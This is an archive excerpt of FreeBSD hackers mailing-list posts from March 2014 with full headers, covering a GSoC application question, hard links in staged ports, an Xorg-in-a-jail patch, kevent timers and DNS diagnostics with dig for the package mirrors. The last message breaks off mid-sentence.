Mon Mar 10 21:19:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D99DE61E; Mon, 10 Mar 2014 21:19:16 +0000 (UTC) Received: from mail.ebusiness-leidinger.de (mail.ebusiness-leidinger.de [217.11.53.44]) by mx1.freebsd.org (Postfix) with ESMTP id 8DFEDA6; Mon, 10 Mar 2014 21:19:16 +0000 (UTC) Received: from outgoing.leidinger.net (p5DD445CA.dip0.t-ipconnect.de [93.212.69.202]) by mail.ebusiness-leidinger.de (Postfix) with ESMTPSA id 687D08443EE; Mon, 10 Mar 2014 22:19:02 +0100 (CET) Received: from unknown (Titan.Leidinger.net [192.168.1.17]) by outgoing.leidinger.net (Postfix) with ESMTP id E49B73B98; Mon, 10 Mar 2014 22:18:59 +0100 (CET) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=leidinger.net; s=outgoing-alex; t=1394486339; bh=HO4y9MU4BrTQ9vFRapscdVppLkEd0W7RJPCEzUIE99Q=; h=Date:From:To:Cc:Subject:In-Reply-To:References; b=LX8fzPApBwa0CLEoN4SZn00Zzr5OlvSyUHdfhTwM2xW8JTGcW/S877cRTGO91epUO DFFUwUAF4pLjWJtqQF/wGCkOZd/Jn81C8YIX/vctTr7m7fjlRrxipuYQv367yEYgdL Itw0cvDyzmL1Vm8m9v9ZLo+LhxeJLrpcHbljbbPhopX/+JrhkIJhxtYu3Qzj4APFQK iXnVfvBtiSf+57viK86wLEq6Pf8l2KZDkUPkSORrDPMtGbfgo1a9cQWyLiI9mZ8AsY XVFaKQbBzqT60Bk3Z9BEi7/ZpIzSwLujaQUhP8UEu5pW249Y0TBS+GiMWAcLrMsO5j XREHH7syaF/LA== Date: Mon, 10 Mar 2014 22:18:58 +0100 From: Alexander Leidinger To: yan cui Subject: Re: FreeBSD GSOC proposal in 2014 Message-ID: <20140310221858.00000f97@unknown> In-Reply-To: References: X-Mailer: Claws Mail 3.9.2-55-g74b05b (GTK+ 2.16.6; i586-pc-mingw32msvc) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-EBL-MailScanner-Information: Please contact the ISP for more information X-EBL-MailScanner-ID: 687D08443EE.A34B4 X-EBL-MailScanner: Found to be clean X-EBL-MailScanner-SpamCheck: not spam, spamhaus-ZEN, SpamAssassin (not cached, score=-1.187, required 6, autolearn=disabled, ALL_TRUSTED -1.00, AWL -0.09, DKIM_SIGNED 0.10, DKIM_VALID -0.10, DKIM_VALID_AU -0.10, RP_MATCHES_RCVD -0.00) X-EBL-MailScanner-From: alexander@leidinger.net X-EBL-MailScanner-Watermark: 1395091143.2465@GN0tHZXUX79WZKxxmcHgGA X-EBL-Spam-Status: No X-Mailman-Approved-At: Tue, 11 Mar 2014 02:15:07 +0000 Cc: freebsd-hackers@freebsd.org, jeff@FreeBSD.org, freebsd-current@freebsd.org, soc-status@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Mar 2014 21:19:16 -0000 On Sun, 9 Mar 2014 15:46:10 -0400 yan cui wrote: > Hi All, > > I am a student in Columbia University (Yan Cui), and want to > join the FreeBSD GSOC 2014. After scanned the idea list posted > online, I think I am interested in > the idea titled "user space pthread mutex lock contention profiling > and lock order verification tools". I have several year experiences > in kernel and user locking and believe I can complete the task in > time. Currently, I wonder to know, before submitting an application > on GSOC home page, do I need to submit some documents in the > community (to review?) There is no requirement to submit something to the community. The review will be done after your submission. There is the possibility to improve your application, either based upon feedback from the reviewers, or even on your own if you notice that your forgot something or want to add something. Participating in the community before the GSoC would tell something about your interest (the above message does already tell something) to participate and may also show something about your knowledge level. Bye, Alexander. -- http://www.Leidinger.net Alexander @ Leidinger.net: PGP ID = B0063FE7 http://www.FreeBSD.org netchild @ FreeBSD.org : PGP ID = 72077137 From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 08:49:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 29647DA0; Tue, 11 Mar 2014 08:49:03 +0000 (UTC) Received: from mail-ve0-x229.google.com (mail-ve0-x229.google.com [IPv6:2607:f8b0:400c:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B4FDD7E6; Tue, 11 Mar 2014 08:49:02 +0000 (UTC) Received: by mail-ve0-f169.google.com with SMTP id pa12so8565282veb.28 for ; Tue, 11 Mar 2014 01:49:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=vgInTiEOeJp1Sbh+9mOZKgt6iYA+37oLp0iEDDdo5ho=; b=SXyQeVbxQmfT98VUnU8dwsBoD8ZPK7BmAy1JDOjM7xtbPgy5ZaET5dV8YWDL0ZmshH odGEmEnapVqzFUdG7zpvcGhw13I1pLpqj2Br2Qlc+0iI5qZjS01Q/J0w7WQ+pLICI9nZ LaX/a1JtHuSJxNpDiQcCHinl9ns5fvLcppUfdrBvPkXWiyggQr2Dua6N7mIJRpjheu4e iuprEdhBLSODASiT3jMFYmzKi+UzWkAXQEgEoA/gALRkXlsNSNN6NdDXTxeKzTOYG9cz 9LOekcIdmwb88xh6vJc5A3D1Y7/wppd2/TP+jTWL1m0G7HZ7v6fb0ilad/WREeZTM1QP +muQ== MIME-Version: 1.0 X-Received: by 10.220.95.139 with SMTP id d11mr8600813vcn.21.1394527741825; Tue, 11 Mar 2014 01:49:01 -0700 (PDT) Received: by 10.52.34.46 with HTTP; Tue, 11 Mar 2014 01:49:01 -0700 (PDT) In-Reply-To: <86807999.20140308032040@serebryakov.spb.ru> References: <86807999.20140308032040@serebryakov.spb.ru> Date: Tue, 11 Mar 2014 10:49:01 +0200 Message-ID: Subject: Re: How to insall hard link to system (base) file in port with stage support? From: Alexander Yerenkow To: lev@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , FreeBSD Ports X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 08:49:03 -0000 BTW, there is Perl which make symlink in /usr/bin to itself, and I'm sure that there other places where something need to be symlinked/copied from package files into base hier directories. Maybe there could be made appropriate framework in ports mk files + pkg ? Something like BASE_SYMLINKS += sourcefile-in-stage-dir:target-path-in-base BASE_COPYFILES += sourcefile-in-stage-dir:target-path-in-base ? 2014-03-08 1:20 GMT+02:00 Lev Serebryakov : > Hello, FreeBSD. > > My port installs GEOM class, so it need to make hard link to /sbin/geom. > It uses and uses > > LINKS= ${BINDIR}/geom ${BINDIR}/g${CLASS} > > which works without staging, but, of course, doesn't work with staginig. > Is > it possible to support such operation with staging? > > -- > // Black Lion AKA Lev Serebryakov > > _______________________________________________ > freebsd-ports@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-ports > To unsubscribe, send any mail to "freebsd-ports-unsubscribe@freebsd.org" > -- Regards, Alexander Yerenkow From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 09:42:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE608BA0; Tue, 11 Mar 2014 09:42:05 +0000 (UTC) Received: from mail-la0-x234.google.com (mail-la0-x234.google.com [IPv6:2a00:1450:4010:c03::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 01A1AC56; Tue, 11 Mar 2014 09:42:04 +0000 (UTC) Received: by mail-la0-f52.google.com with SMTP id ec20so5319731lab.25 for ; Tue, 11 Mar 2014 02:42:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=1py25ZgCSCG/ftprsE6OsSSpBjXOShO1zsEdwr6/shg=; b=c3qb4OHI6HRdkD85+Vz72t/4U93tw2/fjhyThPdc6iUA/PxDB4RLxF8aC5LRdywkcC VQb0jUIcIi00gxr7HKe1jTUttQlnf35iti/78Zvd7Zx7W/Raif31FOJXzB6t44ZAzYgn Yf10g09UlvO2qGr1tYHpH0mu1QT9eYECtxA/v2KE8Eu1qf84VrmHX+rwcHvUPD98HtlI prKecC0qHy0eI1id6A/hU25fUL61dYazSZd4nqmkJkMFMkmlE+Otmpbr1MLov92JSm30 yfxbpC7N7AnfJi61YwbkzbKYUY/vTQdIRN6D5CIAV/eLnn16UxpJ+o4gjIXMrUWx3UUq 8ukQ== MIME-Version: 1.0 X-Received: by 10.112.88.138 with SMTP id bg10mr1409401lbb.42.1394530923018; Tue, 11 Mar 2014 02:42:03 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Tue, 11 Mar 2014 02:42:02 -0700 (PDT) In-Reply-To: <20140309190802.00006452@unknown> References: <20140309190802.00006452@unknown> Date: Tue, 11 Mar 2014 09:42:02 +0000 Message-ID: Subject: Re: [PATCH] Xorg in a jail From: Tom Evans To: Alexander Leidinger Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , "freebsd-x11@freebsd.org" , jamie@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 09:42:05 -0000 On Sun, Mar 9, 2014 at 6:08 PM, Alexander Leidinger wrote: > Seems you have an old one. Attached is what I was sending to jamie not > long ago (but this is not in the FreeBSD tree due to the conclusion that > such a huge impact on the security part should not be a simple allow.xxx > switch). Yes, I can't actually find it from this computer, but it was a patch on your site. This newer patch you shared (thanks!) is much simpler and more correct. > Do NOT use the sysctls in this patch, they allow all jails to access the > devices, if the devfs rules are appropriate. The attached patch doesn't > have them anymore. > > I had them in in the first implementation, then jamie introduced the > allow.XXX and I transitioned to this but forgot to remove the sysctls > after migrating my jail. I removed them recently before sending the > patch to jamie after his kmem change. Right! I really wasn't sure what I was doing at that point, cargo cult programming until it worked. Thanks to you and Jamie for your hints. Cheers Tom From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 14:02:53 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EA41CCCE; Tue, 11 Mar 2014 14:02:53 +0000 (UTC) Received: from cel.leonerd.org.uk (cel.leonerd.org.uk [IPv6:2001:8b0:3f7::2]) by mx1.freebsd.org (Postfix) with ESMTP id AE9829F8; Tue, 11 Mar 2014 14:02:53 +0000 (UTC) Received: from shy.leonerd.org.uk (8.9.7.8.3.c.e.f.f.f.2.8.9.a.e.8.3.4.0.0.7.f.3.0.0.b.8.0.1.0.0.2.ip6.arpa [IPv6:2001:8b0:3f7:43:8ea9:82ff:fec3:8798]) by cel.leonerd.org.uk (Postfix) with ESMTPSA id D70B31BF22; Tue, 11 Mar 2014 14:02:51 +0000 (GMT) Date: Tue, 11 Mar 2014 14:02:51 +0000 From: "Paul \"LeoNerd\" Evans" To: Baptiste Daroussin Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140311140251.0d1b80c3@shy.leonerd.org.uk> In-Reply-To: <20140310131632.GI6900@ithaqua.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; x86_64-pc-linux-gnu) MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha256; boundary="Sig_/ZDGPWQHHoTZzRhnl3Hkzeji"; protocol="application/pgp-signature" Cc: desrt@desrt.ca, hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 14:02:54 -0000 --Sig_/ZDGPWQHHoTZzRhnl3Hkzeji Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable On Mon, 10 Mar 2014 14:16:33 +0100 Baptiste Daroussin wrote: > I decided to implement part of it and here is the first patch about > it: http://people.freebsd.org/~bapt/kevent.diff Unrelated directly, but while you're looking at kqueue/kevent, do you have any comments to make on my idea: http://www.freebsd.org/cgi/query-pr.cgi?pr=3D153254 I believe it's an important feature missing in the API, that makes certain userland tasks quite difficult to write, that the kernel could easily provide information to help. --=20 Paul "LeoNerd" Evans leonerd@leonerd.org.uk http://www.leonerd.org.uk/ | https://metacpan.org/author/PEVANS --Sig_/ZDGPWQHHoTZzRhnl3Hkzeji Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) iF4EAREIAAYFAlMfF4sACgkQ4y9efBOfZ0gnGwD+N/P0ebob6FChKRFBLbbK8sbG dz946g++l0jVxY2MMT0A/168Ejwvy1zTMxG667nF1IpmaxOG9qcO/cC5UkbHm/4i =6kzK -----END PGP SIGNATURE----- --Sig_/ZDGPWQHHoTZzRhnl3Hkzeji-- From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 15:13:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7DA0DD94; Tue, 11 Mar 2014 15:13:04 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [46.4.40.135]) by mx1.freebsd.org (Postfix) with ESMTP id 3C1F4187; Tue, 11 Mar 2014 15:13:04 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:502c:9f0:1046:48c]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 845D14AC1C; Tue, 11 Mar 2014 19:12:56 +0400 (MSK) Date: Tue, 11 Mar 2014 19:12:52 +0400 From: Lev Serebryakov Organization: FreeBSD Project X-Priority: 3 (Normal) Message-ID: <1209744573.20140311191252@serebryakov.spb.ru> To: Alexander Yerenkow Subject: Re: How to insall hard link to system (base) file in port with stage support? In-Reply-To: References: <86807999.20140308032040@serebryakov.spb.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Hackers , FreeBSD Ports X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 15:13:04 -0000 Hello, Alexander. You wrote 11 =EC=E0=F0=F2=E0 2014 =E3., 12:49:01: AY> BTW, there is Perl which make symlink in /usr/bin to itself, and I'm su= re AY> that there other places where something need to be symlinked/copied from AY> package files into base hier directories. AY> Maybe there could be made appropriate framework in ports mk files + pkg= ? AY> Something like AY> BASE_SYMLINKS +=3D sourcefile-in-stage-dir:target-path-in-base AY> BASE_COPYFILES +=3D sourcefile-in-stage-dir:target-path-in-base Please note, that I need hard link. --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 17:05:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92635F37 for ; Tue, 11 Mar 2014 17:05:56 +0000 (UTC) Received: from mail-wg0-f44.google.com (mail-wg0-f44.google.com [74.125.82.44]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1D263EBF for ; Tue, 11 Mar 2014 17:05:55 +0000 (UTC) Received: by mail-wg0-f44.google.com with SMTP id m15so8051908wgh.27 for ; Tue, 11 Mar 2014 10:05:48 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=csd8M7DDr4zX96LSZBWwm25pNGJMC+nCqXWNL01dlKI=; b=m80sEUAi9SVlFQ74jUFpbJ6A6EkpiVLiPNpN9ZK7E+updmyempD9sdQVtMcU9/QykU utNw8bfReQ1VFpwALfV5eiQ/NGrSfk+NuXM3jhZlZp5IsoSpOGKqIYgyBkvO9BC9uYyu Pg7mNP+qCobkORriSkXyzasJglPNdIiy9eREmZppYwU/Z9I4Bvy6yvMn25YI7j0Gr/TC hXUxTuiUYbacG1C1rA1Lq0kooS3mLcj34LoAevCqvP5tVGbgNNd2NkaDMXHNGUMFtcOa +aX8hR1IsmIp5OtXFWBWNH1ZShrfQ/leCXeYJTgRe6URzp7FsIQHvF8ervmHOL22HSZo yURw== X-Gm-Message-State: ALoCoQl44V5/R5KEofJDx42kPo0dGRPEYy9GmIi8VaLzRcvXrmW0QSi2GHSwHuZJsyZMdF7qpZyu MIME-Version: 1.0 X-Received: by 10.194.85.168 with SMTP id i8mr601278wjz.81.1394556217628; Tue, 11 Mar 2014 09:43:37 -0700 (PDT) Received: by 10.216.166.72 with HTTP; Tue, 11 Mar 2014 09:43:37 -0700 (PDT) X-Originating-IP: [209.66.78.50] Date: Tue, 11 Mar 2014 12:43:37 -0400 Message-ID: Subject: Cant resolve pkg.us-east.freebsd.org From: Mark Saad To: "freebsd-hackers@freebsd.org" , FreeBSD-Stable ML Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 17:05:56 -0000 All I am having issues right now with resolving pkg.us-east.freebsd.org. I am in NYC using Above.net / Zayo and I am getting host unknow from a number of locations. msaad@blindness:~% ping pkg.us-east.freebsd.org ping: cannot resolve pkg.us-east.freebsd.org: No address associated with name msaad@blindness:~% dig @8.8.8.8 pkg.us-east.freebsd.org ; <<>> DiG 9.9.3-P2 <<>> @8.8.8.8 pkg.us-east.freebsd.org ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36792 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;pkg.us-east.freebsd.org. IN A ;; AUTHORITY SECTION: freebsd.org. 547 IN SOA ns0.freebsd.org. hostmaster.freebsd.org. 2014031102 3600 900 604800 600 ;; Query time: 15 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Tue Mar 11 12:41:39 EDT 2014 ;; MSG SIZE rcvd: 103 msaad@blindness:~% dig @ns0.freebsd.org pkg.us-east.freebsd.org ; <<>> DiG 9.9.3-P2 <<>> @ns0.freebsd.org pkg.us-east.freebsd.org ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14585 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;pkg.us-east.freebsd.org. IN A ;; AUTHORITY SECTION: freebsd.org. 600 IN SOA ns0.freebsd.org. hostmaster.freebsd.org. 2014031102 3600 900 604800 600 ;; Query time: 72 msec ;; SERVER: 8.8.178.18#53(8.8.178.18) ;; WHEN: Tue Mar 11 12:42:34 EDT 2014 ;; MSG SIZE rcvd: 103 However queries for pkg.freebsd.org do work as expected. msaad@blindness:~% dig @ns0.freebsd.org pkg.freebsd.org ; <<>> DiG 9.9.3-P2 <<>> @ns0.freebsd.org pkg.freebsd.org ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31994 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 4 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;pkg.freebsd.org. IN A ;; AUTHORITY SECTION: pkg.freebsd.org. 3600 IN NS gns2.freebsd.org. pkg.freebsd.org. 3600 IN NS gns1.freebsd.org. pkg.freebsd.org. 3600 IN NS gns0.freebsd.org. ;; ADDITIONAL SECTION: gns0.freebsd.org. 3600 IN A 8.8.178.30 gns1.freebsd.org. 3600 IN A 96.47.72.24 gns2.freebsd.org. 3600 IN A 213.138.116.75 ;; Query time: 72 msec ;; SERVER: 8.8.178.18#53(8.8.178.18) ;; WHEN: Tue Mar 11 12:42:55 EDT 2014 ;; MSG SIZE rcvd: 149 Anyone know whats up ? -- mark saad | nonesuch@longcount.org From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 17:24:11 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D96E1A22; Tue, 11 Mar 2014 17:24:11 +0000 (UTC) Received: from squishy.elizium.za.net (squishy.elizium.za.net [80.68.90.178]) by mx1.freebsd.org (Postfix) with ESMTP id A185A15B; Tue, 11 Mar 2014 17:24:11 +0000 (UTC) Received: from sludge.elizium.za.net (sludge.elizium.za.net [196.41.137.247]) by squishy.elizium.za.net (Postfix) with ESMTPSA id 5B53838339; Tue, 11 Mar 2014 19:14:14 +0200 (SAST) Date: Tue, 11 Mar 2014 19:16:02 +0200 From: Hugo Lombard To: Mark Saad Subject: Re: Cant resolve pkg.us-east.freebsd.org Message-ID: <20140311171602.GO21736@sludge.elizium.za.net> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Mailman-Approved-At: Tue, 11 Mar 2014 17:53:37 +0000 Cc: "freebsd-hackers@freebsd.org" , FreeBSD-Stable ML X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 17:24:11 -0000 On Tue, Mar 11, 2014 at 12:43:37PM -0400, Mark Saad wrote: > All > I am having issues right now with resolving pkg.us-east.freebsd.org. > I am in NYC using Above.net / Zayo and I am getting host unknow from a > number of locations. > I believe SRV records are used to get the actual host: [ https://www.mail-archive.com/freebsd-ports@freebsd.org/msg53207.html ] $ dig +norecurse @ns0.freebsd.org _http._tcp.pkg.us-east.FreeBSD.org srv ; <<>> DiG 9.9.2-P2 <<>> +norecurse @ns0.freebsd.org _http._tcp.pkg.us-east.FreeBSD.org srv ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51676 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;_http._tcp.pkg.us-east.FreeBSD.org. IN SRV ;; ANSWER SECTION: _http._tcp.pkg.us-east.freebsd.org. 60 IN SRV 10 10 80 pkg0.nyi.freebsd.org. ;; AUTHORITY SECTION: freebsd.org. 3600 IN NS ns1.isc-sns.net. freebsd.org. 3600 IN NS ns3.isc-sns.info. freebsd.org. 3600 IN NS ns2.isc-sns.com. ;; ADDITIONAL SECTION: pkg0.nyi.freebsd.org. 3600 IN A 96.47.72.120 pkg0.nyi.freebsd.org. 60 IN AAAA 2610:1c1:1:6300::16:78 ;; Query time: 348 msec ;; SERVER: 8.8.178.18#53(8.8.178.18) ;; WHEN: Tue Mar 11 19:12:36 2014 ;; MSG SIZE rcvd: 266 $ -- Hugo Lombard .___. (o,o) /) ) ---"-"--- From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 18:54:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E9C0E48; Tue, 11 Mar 2014 18:54:51 +0000 (UTC) Received: from mail-vc0-x232.google.com (mail-vc0-x232.google.com [IPv6:2607:f8b0:400c:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C4085F7D; Tue, 11 Mar 2014 18:54:50 +0000 (UTC) Received: by mail-vc0-f178.google.com with SMTP id im17so2134403vcb.9 for ; Tue, 11 Mar 2014 11:54:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=8TyiiKcaQb90AxJTwxfUj3l6mtEJuc/Bk1Li+fmLwqc=; b=FgPIlkiuLdvycb9kN36pXlzxoBJDFd4A5LGIXnTl1IrtfkzcDzFWD3xpCq6yneZgTx XKz5oMFlKPHE7w6qj3G/xLZJGTnIowflOiR7SG3BdHkmQmSXWTBmXwc3OtUHV47lzLBQ H2Ss208fvmYivDW6yVeDZ5bfcQLMUUQO57TLwzQTnLqJF6BYj9abE0no241l16bZ1/O+ tnL0a4f3nHB27if4te2PZzFA+rvJ42y8MbQ4fRvPp9XqOZF6h4P6FhOhQFsvo9oLuPjm kwlc89VZFN6G6ApqfUPTvZhNqe2jsgy0OGr/ezEjzJ7/to5BtxyG/K9UxzdMIG2MAwf1 XfJQ== MIME-Version: 1.0 X-Received: by 10.220.106.84 with SMTP id w20mr28955349vco.18.1394564089901; Tue, 11 Mar 2014 11:54:49 -0700 (PDT) Sender: uspoerlein@gmail.com Received: by 10.58.209.225 with HTTP; Tue, 11 Mar 2014 11:54:49 -0700 (PDT) In-Reply-To: References: <20140309190802.00006452@unknown> Date: Tue, 11 Mar 2014 19:54:49 +0100 X-Google-Sender-Auth: 5sRDOUwnBF4H3g3Fh9pQLhn80cU Message-ID: Subject: Re: [PATCH] Xorg in a jail From: =?UTF-8?Q?Ulrich_Sp=C3=B6rlein?= To: Tom Evans Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Alexander Leidinger , "freebsd-x11@freebsd.org" , jamie@freebsd.org, "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 18:54:51 -0000 2014-03-11 10:42 GMT+01:00 Tom Evans : > On Sun, Mar 9, 2014 at 6:08 PM, Alexander Leidinger > wrote: > > Seems you have an old one. Attached is what I was sending to jamie not > > long ago (but this is not in the FreeBSD tree due to the conclusion that > > such a huge impact on the security part should not be a simple allow.xxx > > switch). > > Yes, I can't actually find it from this computer, but it was a patch > on your site. This newer patch you shared (thanks!) is much simpler > and more correct. > > > Do NOT use the sysctls in this patch, they allow all jails to access the > > devices, if the devfs rules are appropriate. The attached patch doesn't > > have them anymore. > > > > I had them in in the first implementation, then jamie introduced the > > allow.XXX and I transitioned to this but forgot to remove the sysctls > > after migrating my jail. I removed them recently before sending the > > patch to jamie after his kmem change. > > Right! I really wasn't sure what I was doing at that point, cargo cult > programming until it worked. > > Thanks to you and Jamie for your hints. > Awesome stuff, I was porting Alex' old patch to 10-STABLE as well, just the other day, but I couldn't yet get the right incantation going to let Xorg boot up (it still complained about not being able to read /dev/mem and then it found dri/card0 but kept probing and then died). Anyway, I will be able to give the new patches a go next week and will report back. I "only" want to get XBMC neatly installed in a jail (for 